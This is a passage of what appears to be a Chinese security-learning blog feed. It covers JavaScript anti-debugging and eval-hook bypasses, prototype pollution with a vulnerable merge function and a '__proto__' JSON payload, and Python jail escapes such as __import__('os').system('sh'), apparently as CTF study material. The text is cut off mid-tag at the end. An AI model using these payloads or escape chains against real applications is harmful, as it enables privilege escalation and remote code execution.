检测函数、对象属性修改</h3><p>攻击者在调试的时，经常会把防护的函数删除，或者把检测数据对象进行篡改。可以检测函数内容，在原型上设置禁止修改。</p><div class="highlight-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// eval函数</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">eval</span>(<span class="params"></span>) &#123;</span><br><span class="line">    [native code]</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//使用eval.toString进行内容匹配”[native code]”，可以轻易饶过</span></span><br><span class="line"><span class="variable language_">window</span>.<span class="property">eval</span> = <span class="keyword">function</span>(<span class="params">str</span>)&#123;</span><br><span class="line">        <span class="regexp">/[native code]/</span></span><br><span class="line">        <span class="comment">//[native code]</span></span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;[native code]&quot;</span>);</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">//对eval.toString进行全匹配，通过重写toString就可以绕过</span></span><br><span class="line"><span class="variable language_">window</span>.<span class="property">eval</span> = <span class="keyword">function</span>(<span class="params">str</span>)&#123;</span><br><span class="line">        <span class="comment">//....</span></span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="variable language_">window</span>.<span class="property">eval</span>.<span class="property">toString</span> = <span class="keyword">function</span>(<span class="params"></span>)&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">function</span> <span class="title function_">eval</span>(<span class="params"></span>) &#123;</span><br><span class="line">            [native code]</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">//检测eval.toString和eval的原型</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">hijacked</span>(<span class="params">fun</span>)&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;prototype&quot;</span> <span class="keyword">in</span> fun || fun.<span class="title function_">toString</span>().<span class="title function_">replace</span>(<span class="regexp">/\n|\s/g</span>, <span class="string">&quot;&quot;</span>) != <span class="string">&quot;function&quot;</span>+fun.<span class="property">name</span>+<span class="string">&quot;()&#123;[nativecode]&#125;&quot;</span>;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure></div><h2 id="一些混淆与反混淆工具"><a class="markdownIt-Anchor" href="#一些混淆与反混淆工具">#</a> 一些混淆与反混淆工具</h2><p>混淆工具：</p><ul><li><a class="link" href="http://yui.github.io/yuicompressor/">YUI Compressor <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></li><li><a class="link" href="https://developers.google.com/closure/compiler/">Google Closure Compiler <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></li><li><a class="link" href="https://github.com/mishoo/UglifyJS">UglifyJS <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></li><li><a class="link" href="https://jscrambler.com/en/">JScrambler <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> // 付费，其余均为免费</li></ul><p>反混淆工具：</p><ul><li><a class="link" href="http://damilarefagbemi.com/experiments-in-js-obfuscation-deobfuscation-for-hacking-html5-apps-and-malware-analysis/jsbeautifier.org">jsbeautifier.org <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></li><li><a class="link" href="http://relentless-coding.org/projects/jsdetox">JSDetox <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></li></ul><h1 id="js原型链污染"><a class="markdownIt-Anchor" href="#js原型链污染">#</a> JS 原型链污染</h1><p>一个超好的原理解析文章<a class="link" href="https://www.yuque.com/cnily03/tech/js-prototype-pollution"> JavaScript 原型链污染 (yuque.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h2 id="js创建对象"><a class="markdownIt-Anchor" href="#js创建对象">#</a> JS 创建对象</h2><div class="highlight-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//普通方式</span></span><br><span class="line"><span class="keyword">var</span> a = &#123;<span class="attr">name</span>:<span class="string">&#x27;pan&#x27;</span>,<span class="attr">age</span>:<span class="number">19</span>&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">//构造函数方式</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">a</span>(<span class="params"></span>)&#123;</span><br><span class="line">    <span class="variable language_">this</span>.<span class="property">name</span> = <span class="string">&#x27;pan&#x27;</span>;</span><br><span class="line">    <span class="variable language_">this</span>.<span class="property">age</span> = <span class="number">19</span>;</span><br><span class="line">&#125;</span><br><span class="line">a.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">name</span> = <span class="string">&#x27;wang&#x27;</span>; <span class="comment">//赋值</span></span><br><span class="line">b = <span class="keyword">new</span> <span class="title function_">a</span>();</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(web.<span class="property">name</span>);<span class="comment">//调用</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//object方式</span></span><br><span class="line"><span class="keyword">var</span> a = <span class="keyword">new</span> <span class="title class_">Object</span>();</span><br><span class="line">a.<span class="property">name</span> = <span class="string">&#x27;pan&#x27;</span>;</span><br><span class="line">a.<span class="property">age</span> = <span class="number">19</span>;</span><br></pre></td></tr></table></figure></div><h2 id="js继承机制"><a class="markdownIt-Anchor" href="#js继承机制">#</a> JS 继承机制</h2><p>JS 没有 java 中的 class，它通过 <code>prototype</code>  实现继承</p><div class="highlight-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">Dog</span>(<span class="params">name</span>) &#123;</span><br><span class="line">  <span class="variable language_">this</span>.<span class="property">name</span> = name;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title class_">Dog</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">bark</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">this</span>.<span class="property">name</span>)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> dogA = <span class="keyword">new</span> <span class="title class_">Dog</span>(<span class="string">&quot;Rover&quot;</span>);</span><br><span class="line"><span class="keyword">var</span> dogB = <span class="keyword">new</span> <span class="title class_">Dog</span>(<span class="string">&quot;Fido&quot;</span>);</span><br><span class="line">dogA.<span class="title function_">bark</span>(); <span class="comment">// Rover</span></span><br><span class="line">dogB.<span class="title function_">bark</span>(); <span class="comment">// Fido</span></span><br></pre></td></tr></table></figure></div><h3 id="万物皆对象proto"><a class="markdownIt-Anchor" href="#万物皆对象proto">#</a> 万物皆对象 &amp; proto</h3><p>在 js 中所有的东西都可看为对象。</p><p>而在 js 中每一个对象都会有一个 <code>__proto__</code> 的属性。</p><blockquote><p><code>__proto__</code> <br>对象可以通过 <code>__proto__</code> 来找到其自己的父类。</p></blockquote><p>而对于构造函数也有一个<strong> prototype</strong> 与之相对应。</p><blockquote><p><code>prototype</code> <br> 构造函数 <code>prototype</code>  也是一个对象，为构造函数的原型对象</p></blockquote><h3 id="constructor-构造函数"><a class="markdownIt-Anchor" href="#constructor-构造函数">#</a> constructor 构造函数</h3><p>在 JS 中，每个函数对象还有一个特殊的属性叫做 <code>constructor</code> 。这个属性指向创建该对象的构造函数。当我们创建一个函数时，JS 会自动为该函数创建一个 <code>prototype</code>  对象，并且这个 <code>prototype</code>  对象包含一个指向该函数本身的 <code>constructor</code>  属性。</p><p>当我们使用构造函数创建实例对象时，这些实例对象会继承构造函数的 <code>prototype</code>  对象，从而形成原型链。因此，通过 <code>constructor</code>  属性，实例对象就可以访问到创建它们的构造函数。</p><p>直接把 <code>constructor</code>  当作反向 <code>prototype</code>  理解即可。以刚才的代码举例：</p><div class="highlight-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="title class_">Dog</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">constructor</span> === <span class="title class_">Dog</span>); <span class="comment">// true</span></span><br></pre></td></tr></table></figure></div><h2 id="原型链"><a class="markdownIt-Anchor" href="#原型链">#</a> 原型链</h2><p>通俗来讲就是 js 中类之间因继承机制而产生的线性关系。</p><h3 id="污染"><a class="markdownIt-Anchor" href="#污染">#</a> 污染</h3><p>原理很简单，就是 JS 基于原型链实现的继承机制。如果我们能控制某个对象的原型，那我们就可以控制所有基于该原型创建的对象。</p><div class="highlight-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// foo是一个简单的JavaScript对象</span></span><br><span class="line"><span class="keyword">let</span> foo = &#123;<span class="attr">bar</span>: <span class="number">1</span>&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// foo.bar 此时为1</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(foo.<span class="property">bar</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 修改foo的原型（即Object）</span></span><br><span class="line">foo.<span class="property">__proto__</span>.<span class="property">bar</span> = <span class="number">2</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 由于查找顺序的原因，foo.bar仍然是1</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(foo.<span class="property">bar</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 此时再用Object创建一个空的zoo对象</span></span><br><span class="line"><span class="keyword">let</span> zoo = &#123;&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 查看zoo.bar</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(zoo.<span class="property">bar</span>)</span><br></pre></td></tr></table></figure></div><p>最后，虽然 zoo 是一个<strong>空</strong>对象 <code>&#123;&#125;</code> ，但 <code>zoo.bar</code>  的结果居然是 2：</p><p>原因也显而易见：因为前面我们修改了 foo 的原型 <code>foo.__proto__.bar = 2</code> ，而 foo 是一个 Object 类的实例，所以实际上是修改了 Object 这个类，给这个类增加了一个属性 bar，值为 2。</p><p>后来，我们又用 Object 类创建了一个 zoo 对象 <code>let zoo = &#123;&#125;</code> ，zoo 对象自然也有一个 bar 属性了。</p><p>那么，在一个应用中，如果攻击者控制并修改了一个对象的原型，那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是<strong>原型链污染</strong>。</p><p>以下是一个简单的示范案例：</p><div class="highlight-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 创建一个空对象 userA</span></span><br><span class="line"><span class="keyword">let</span> userA = &#123;&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 给 userA 添加一个属性 isAdmin</span></span><br><span class="line">userA.<span class="property">isAdmin</span> = <span class="literal">false</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(userA.<span class="property">isAdmin</span>); <span class="comment">// false</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 现在我们想让所有用户都有这个属性，我们可以使用原型</span></span><br><span class="line">userA.<span class="property">__proto__</span>.<span class="property">isAdmin</span> = <span class="literal">true</span>;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(userA.<span class="property">isAdmin</span>); <span class="comment">// false</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 现在我们创建一个新用户 userB</span></span><br><span class="line"><span class="keyword">let</span> userB = &#123;&#125;;</span><br><span class="line"><span class="comment">// userB 会继承 userA 的 isAdmin 属性</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(userB.<span class="property">isAdmin</span>); <span class="comment">// true</span></span><br></pre></td></tr></table></figure></div><p>在 CTF 中，往往都是去找一些能够控制对象键名的操作，比如 <code>merge</code> 、 <code>clone</code>  等，这其中 <code>merge</code>  又是最常见的可操纵键名操作。最普通的 <code>merge</code>  函数如下：</p><div class="highlight-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">merge</span>(<span class="params">target, source</span>) &#123;</span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">let</span> key <span class="keyword">in</span> source) &#123;</span><br><span class="line">      <span class="keyword">if</span> (key <span class="keyword">in</span> source &amp;&amp; key <span class="keyword">in</span> target) &#123;</span><br><span class="line">          <span class="title function_">merge</span>(target[key], source[key])</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">          target[key] = source[key]</span><br><span class="line">      &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>此时，我们运行以下代码，以 JSON 格式创建 <code>o2</code> ，在与 <code>o1</code>  合并的过程中，经过赋值操作 <code>target[key] = source[key]</code> ，实现了一个基本的原型链污染，被污染的对象是 <code>Object.prototype</code> ：</p><div class="highlight-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> o1 = &#123;&#125;;</span><br><span class="line"><span class="keyword">let</span> o2 = <span class="title class_">JSON</span>.<span class="title function_">parse</span>(<span class="string">&#x27;&#123;&quot;a&quot;: 1, &quot;__proto__&quot;: &#123;&quot;b&quot;: 2&#125;&#125;&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="title function_">merge</span>(o1, o2); <span class="comment">// 1 2</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(o1.<span class="property">a</span>, o1.<span class="property">b</span>);</span><br><span class="line"></span><br><span class="line">o3 = &#123;&#125;;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(o3.<span class="property">b</span>); <span class="comment">// 2</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="title class_">Object</span>.<span class="property"><span class="keyword">prototype</span></span>); <span class="comment">// [Object: null prototype] &#123; b: 2 &#125;</span></span><br></pre></td></tr></table></figure></div>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;js混淆与反混淆&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#js混淆与反混淆&quot;&gt;#&lt;/a&gt; JS 混淆与反混淆&lt;/h1&gt;
&lt;p&gt;&lt;code&gt;JavaScript&lt;/code&gt;  混淆 &lt;code&gt;（Obfuscation）&lt;/cod</summary>
      
    
    
    
    <category term="Web Vulnerabilities" scheme="http://example.com/categories/Web-Vulnerabilities/"/>
    
    
  </entry>
  
  <entry>
    <title>PyJail</title>
    <link href="http://example.com/2024/05/06/PyJail/"/>
    <id>http://example.com/2024/05/06/PyJail/</id>
    <published>2024-05-06T14:42:33.000Z</published>
    <updated>2024-07-04T15:15:24.556Z</updated>
    
    <content type="html"><![CDATA[<h1 id="pyjail"><a class="markdownIt-Anchor" href="#pyjail">#</a> PyJail</h1><h2 id="python的一些特性"><a class="markdownIt-Anchor" href="#python的一些特性">#</a> Python 的一些特性</h2><h3 id="object类的继承"><a class="markdownIt-Anchor" href="#object类的继承">#</a> object 类的继承</h3><p><code>Python3.x</code>  版本中，类默认会继承 <code>object</code></p><p>但在 <code>Python2.x</code>  中，默认不会继承</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># python2</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Person</span>:</span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    不带object</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    name = <span class="string">&quot;zhengtong&quot;</span></span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Animal</span>(<span class="title class_ inherited__">object</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    带有object</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    name = <span class="string">&quot;chonghong&quot;</span></span><br><span class="line"> </span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    x = Person()</span><br><span class="line">    <span class="built_in">print</span> <span class="string">&quot;Person&quot;</span>, <span class="built_in">dir</span>(x)</span><br><span class="line"> </span><br><span class="line">    y = Animal()</span><br><span class="line">    <span class="built_in">print</span> <span class="string">&quot;Animal&quot;</span>, <span class="built_in">dir</span>(y)</span><br></pre></td></tr></table></figure></div><p>运行结果：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Person [&#x27;__doc__&#x27;, &#x27;__module__&#x27;, &#x27;name&#x27;]</span><br><span class="line">Animal [&#x27;__class__&#x27;, &#x27;__delattr__&#x27;, &#x27;__dict__&#x27;, &#x27;__doc__&#x27;, &#x27;__format__&#x27;, &#x27;__getattribute__&#x27;, </span><br><span class="line">&#x27;__hash__&#x27;, &#x27;__init__&#x27;, &#x27;__module__&#x27;, &#x27;__new__&#x27;, &#x27;__reduce__&#x27;, &#x27;__reduce_ex__&#x27;, &#x27;__repr__&#x27;, </span><br><span class="line">&#x27;__setattr__&#x27;, &#x27;__sizeof__&#x27;, &#x27;__str__&#x27;, &#x27;__subclasshook__&#x27;, &#x27;__weakref__&#x27;, &#x27;name&#x27;]</span><br></pre></td></tr></table></figure></div><h3 id="python中类本身具有一些静态方法"><a class="markdownIt-Anchor" href="#python中类本身具有一些静态方法">#</a> python 中类本身具有一些静态方法</h3><p>如 <code>bytes.fromhex</code> 、 <code>int.from_bytes</code>  等。对于这些类的实例，也能调用这些静态方法。如 <code>b'1'.fromhex('1234')</code> ，返回 <code>b'\x124'</code> 。（一个特殊的例子是整数常量不支持这样操作，如输入 <code>3.from_bytes</code>  会报错）</p><h3 id="python魔术方法"><a class="markdownIt-Anchor" href="#python魔术方法">#</a> Python 魔术方法</h3><ul><li><p><code>__init__</code> ：构造函数。这个在实例化类的时候就会用到，一般是接受类初始化的参数，并且进行一系列初始化操作。</p></li><li><p><code>__len__</code> ：返回对象的长度。对一个对象 <code>a</code>  使用 <code>len(a)</code>  时，会尝试调用 <code>a.__len__()</code> 。例如要通过继承 <code>torch.utils.data.Dataset</code>  来实现自己的数据集时，就需要实现这个方法；</p></li><li><p><code>__str__</code> ：返回对象的字符串表示。对一个对象 <code>a</code>  使用 <code>str(a)</code>  时，会尝试调用 <code>a.__str__()</code> 。这在我们自己实现一些类，譬如复数、二叉树、有限域、椭圆曲线等时，通过实现该方法，能将对象的内容较好地打印出来。（ <code>print</code>  函数中也会自动调用对象的 <code>__str__</code> 方法）相似地，还有 <code>__int__</code> 魔术方法也用于类型转换，不过较少使用；</p></li><li><p><code>__getitem__</code> ：根据索引返回对象的某个元素。对一个对象 <code>a</code>  使用 <code>a[1]</code>  时，会尝试调用 <code>a.__getitem__(1)</code> 。同样，当我们通过继承 <code>torch.utils.data.Dataset</code>  来实现自己的数据集时，就需要实现这个方法。有 <code>__getitem__</code> ，自然也有对应的 <code>__setitem__</code> ；</p></li><li><p><code>__add__</code> 、 <code>__sub__</code> 、 <code>__mul__</code> 、 <code>__div__</code> 、 <code>__mod__</code> ：算术运算，加减乘除模。如对一个对象 <code>a</code>  使用 <code>a+b</code>  时，会尝试调用 <code>a.__add__(b)</code> 。相应地，对于有些运算，对象需放在后面（第二个操作数）的，则需实现 <code>__radd__</code> 、 <code>__rsub__</code> 、 <code>__rmul__</code> 、 <code>__rdiv__</code> 、 <code>__rmod__</code> ，如椭圆曲线上的点的倍点运算 <code>G -&gt; d * G</code> ，就可以通过实现 <code>__rmul__</code> 来实现。</p></li><li><p><code>__and__</code> ， <code>__or__</code> 、 <code>__xor__</code> ：逻辑运算，和算术运算类似；</p></li><li><p><code>__eq__</code> ， <code>__ne__</code> 、 <code>__lt__</code> 、 <code>__gt__</code> 、 <code>__le__</code> 、 <code>__ge__</code> ：比较运算，和算术运算类似；例如 <code>'贵州' &gt; '广西'</code> ，就会转而调用 <code>'贵州'.__gt__('广西')</code> ；按顺序分别是 <code>==</code> , <code>!=</code> , <code>&lt;</code> , <code>&gt;</code> , <code>&lt;=</code> , <code>&gt;=</code></p></li><li><p><code>__getattr__</code> ：访问一个不存在的属性时触发。如果我们对对象 <code>a</code>  所对应的类实现了该方法，那么在调用未实现的 <code>a.b</code>  时，就会转而调用 <code>a.__getattr__(b)</code> 。这也等价于用函数的方法调用： <code>getattr(a, 'b')</code> 。有 <code>__getattr__</code> ，自然也有对应的 <code>__setattr__</code> ；</p></li><li><p><code>__setattr__</code> ：在对一个属性设置值的时候，会调用到这个函数</p></li><li><p><code>__subclasses__</code> ：返回当前类的所有子类。一般是用在 <code>object</code>  类中，在 <code>object.__subclasses__()</code>  中，我们可以找到 <code>os</code>  模块中的类，然后再找到 <code>os</code> ，并且执行 <code>os.system</code> ，实现 RCE。</p></li><li><p>相对应地，python 的类中也包含着一些魔术属性：</p></li></ul><ul><li><code>__dict__</code> ：可以查看内部所有属性名和属性值组成的字典。譬如下面这段代码：</li></ul><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">KFCCrazyThursday</span>:</span><br><span class="line">    vivo = <span class="number">50</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(KFCCrazyThursday.__dict__)</span><br></pre></td></tr></table></figure></div><p>就能看到字典中包含 <code>'vivo': 50</code>  的键值对。注意在 python 中， <code>dict()</code>  是将类转成字典的函数，跟此魔术属性无关。</p><ul><li><p><code>__doc__</code> ：类的帮助文档。默认类均有帮助文档。对于自定义的类，需要我们自己实现。</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">KFCCrazyThursday</span>:</span><br><span class="line">    <span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">    And you broke up for seven years, you still can affect my mood, I still keep our photo, remember your birthday, OK? I have countless times to find your impulse, But still hold back, this message I do not block you, because I am your forever blacklist, but I love you, from the past to the present, a full love of you for eight years, But now I&#x27;m not sad, because I have no idea who wrote this or who this girl is, and I just want to tell you by the way: Today is Crazy Thursday, I want to eat KFC</span></span><br><span class="line"><span class="string">    &#x27;&#x27;&#x27;</span></span><br><span class="line">    vivo = <span class="number">50</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(KFCCrazyThursday.__doc__)</span><br></pre></td></tr></table></figure></div><p>就会打印上面的文档；</p><ul><li><code>__class__</code> ：返回当前对象所属的类。如 <code>''.__class__</code> 会返回 <code>&lt;class 'str'&gt;</code> 。拿到类之后，就可以通过构造函数生成新的对象，如 <code>''.__class__(4396)</code> ，就等价于 <code>str(4396)</code> ，即 <code>'4396'</code> ；</li><li><code>__base__</code> ：返回当前类的基类。如 <code>str.__base__</code> 会返回 <code>&lt;class 'object'&gt;</code> ；</li></ul></li></ul><h3 id="一些重要的内置函数和变量"><a class="markdownIt-Anchor" href="#一些重要的内置函数和变量">#</a> 一些重要的内置函数和变量：</h3><ul><li><code>dir</code> ：查看对象的所有属性和方法。在我们没有思路的时候，可以通过该函数查看所有可以利用的方法；此外，在题目禁用引号以及小数点时，也可以先用拿到类所有可用方法，再索引到方法名，并且通过 <code>getattr</code>  来拿到目标方法。</li><li><code>chr</code> 、 <code>ord</code> ：字符与 ASCII 码转换函数，能帮我们绕过一些 WAF</li><li><code>globals</code> ：返回所有全局变量的函数；</li><li><code>locals</code> ：返回所有局部变量的函数；</li><li><code>__import__</code> ：载入模块的函数。例如 <code>import os</code>  等价于 <code>os = __import__('os')</code> ；</li><li><code>__name__</code> ：该变量指示当前运行环境位于哪个模块中。如我们 python 一般写的 <code>if __name__ == '__main__':</code> ，就是来判断是否是直接运行该脚本。如果是从另外的地方 import 的该脚本的话，那 <code>__name__</code> 就不为 <code>__main__</code> ，就不会执行之后的代码。更多参考<a class="link" href="https://link.zhihu.com/?target=https%3A//www.geeksforgeeks.org/__name__-a-special-variable-in-python/">这里 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>；</li><li><code>__builtins__</code> ：包含当前运行环境中默认的所有函数与类。如上面所介绍的所有默认函数，如 <code>str</code> 、 <code>chr</code> 、 <code>ord</code> 、 <code>dict</code> 、 <code>dir</code>  等。在 pyjail 的沙箱中，往往 <code>__builtins__</code> 被置为 <code>None</code> ，因此我们不能利用上述的函数。所以一种思路就是我们可以先通过类的基类和子类拿到 <code>__builtins__</code> ，再 <code>__import__('os').system('sh')</code>  进行 RCE；</li><li><code>__file__</code> ：该变量指示当前运行代码所在路径。如 <code>open(__file__).read()</code>  就是读取当前运行的 python 文件代码。需要注意的是，<strong>该变量仅在运行代码文件时会产生，在运行交互式终端时不会有此变量</strong>；</li><li><code>_</code> ：该变量返回上一次运行的 python 语句结果。需要注意的是，<strong>该变量仅在运行交互式终端时会产生，在运行代码文件时不会有此变量</strong>。</li></ul><h2 id="hnctf-2022-jail"><a class="markdownIt-Anchor" href="#hnctf-2022-jail">#</a> HNCTF 2022 Jail</h2><h3 id="calc_jail_beginner"><a class="markdownIt-Anchor" href="#calc_jail_beginner">#</a> calc_jail_beginner</h3><p>源码</p><p><img lazyload src="/images/loading.svg" data-src="https://img2.imgtp.com/2024/05/07/krREqKi1.png" alt="1715085559866.png"></p><p>注释写着答案</p><p><img lazyload src="/images/loading.svg" data-src="https://img2.imgtp.com/2024/05/07/DCydnhAo.png" alt="1715079686139.png"></p><h3 id="calc_jail_beginner_level1"><a class="markdownIt-Anchor" href="#calc_jail_beginner_level1">#</a> calc_jail_beginner_level1</h3><p><img lazyload src="/images/loading.svg" data-src="https://img2.imgtp.com/2024/05/07/IQ2CmUzY.png" alt="1715085567940.png"></p><p>经过试错可以发现时 <code>flag</code>  字符被过滤了，可以使用 <code>chr()</code>  绕过</p><p><img lazyload src="/images/loading.svg" data-src="https://img2.imgtp.com/2024/05/07/pZ9UlBeb.png" alt="1715085345824.png"></p><h3 id="calc_jail_beginner_level2"><a class="markdownIt-Anchor" href="#calc_jail_beginner_level2">#</a> calc_jail_beginner_level2</h3><p><img lazyload src="/images/loading.svg" 